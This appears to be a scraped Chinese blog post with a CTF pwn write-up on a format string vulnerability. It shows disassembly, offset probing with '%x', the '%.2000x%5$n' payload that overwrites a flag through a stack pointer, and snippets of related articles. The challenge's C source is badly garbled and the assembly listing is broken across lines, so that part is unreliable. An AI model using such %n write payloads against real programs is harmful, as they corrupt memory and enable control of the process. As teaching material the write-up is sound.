某道Pwn(格式化字串漏洞)

2021-09-20 11:58:24 字數 2432 閱讀 7380

格式化字串漏洞近幾年出現頻率少了,但是一些 ctf 中還有涉及,就當玩玩好了。

首先看這一段**,什麼比賽的題我忘了:

#include 

int main(void)

return

0;}

目標是拿到flag。我們使用gcc編譯之後用objdump反編譯:

8048507:   c7 45

8800

0000

00 movl $0

x0,-0x78(%ebp) ;flag

804850e: 8d 45

88 lea -0x78(%ebp),%eax

8048511: 89

458c mov %eax,-0x74(%ebp) ;p

8048514: 83 ec 08 sub $0x8,%esp

8048517: 8d 45 90 lea -0x70(%ebp),%eax ;a

804851a: 50

push

%eax

804851b: 68 f0

8504 08 push

$0x80485f0

8048520: e8 bb fe ff ff call 80483e0

<__isoc99_scanf@plt>

8048525: 83 c4 10 add $0x10,%esp

我們可以看到pflag下面四個偏移,a又在p下面四個偏移,用緩衝區溢位是不可能了。下面有個printf,也許可以利用字串格式化漏洞。

繼續往下看彙編:

8048528: 83 ec 0c                sub    $0xc,%esp

804852b: 8d 45 90 lea -0x70(%ebp),%eax

804852e: 50 push %eax

804852f: e8 5c fe ff ff call 8048390

8048534: 83 c4 10 add $0x10,%esp

我們可以看到printf總共接受了 4 個引數,實際上只有乙個有效引數。

我們可以使用aaaa%x來尋找a的偏移:

wizard@ubuntu

:~/desktop

$ ./t2

aaaa%x

aaaaffee9b78wizard

@ubuntu

:~/desktop

$ ./t2

aaaa%2

$xaaaaf767e329wizard

@ubuntu

:~/desktop

$ ./t2

aaaa%4

$xaaaa0wizard

@ubuntu

:~/desktop

$ ./t2

aaaa%5

$xaaaafff44cd0wizard

@ubuntu

:~/desktop

$aaaa%6

$xaaaa41414141

我們看到了乙個 0 ,又看到了乙個很像位址的東西。然後就是我們輸入的aaaa。我們於是可以斷定,第四個%xflag,第五個%xp,第六個%xa的起始位置。

再試一下,發現棧基址是變化的:

wizard@ubuntu

:~/desktop

$ ./t2

aaaa%5

$xaaaaffad7a70

也就是說,我們不能把f的位址寫進a的前四個位元組,但是我們可以利用p。構造字串"%.2000%x%5$n"

ffe43b880wizard@ubuntu:~/desktop$ ./t2

%.2000x%5$n

...0000000000000000000000000000000000000ffce9f98good!!

成功。

pwn 格式化字串漏洞

原理 因為沒有正確使用printf 函式 正確使用 printf s str 不正規使用 printf str 控制字串str可以爆出stack內內容從而實現任意位址讀或者任意位址寫 入門題01 18行存在格式化字串漏洞 只需輸入在hello之後輸入password所在位址,接收password值再...

pwn初識格式化字串漏洞

格式化字串漏洞通常情況下是由printf函式產生的 正常情況下我們用printf函式輸出字串時是這樣的 char a 100 fmtstr int b 12,c 666 printf s d x a,b,c 但是有時是出於方便會直接輸出字串 char str 12 fmtstr printf str...

格式化字串漏洞

在編寫程式時由於編寫的不規範有可能產生這個漏洞。下面乙個例子 includeint a 2 int main 編譯時使用 gcc test.c m32表示編譯成32位的程式上面這個例子便是乙個很簡單的格式化字串漏洞,產生格式化字串漏洞需要兩個條件 下面講解printf輸出的原理 eg name su...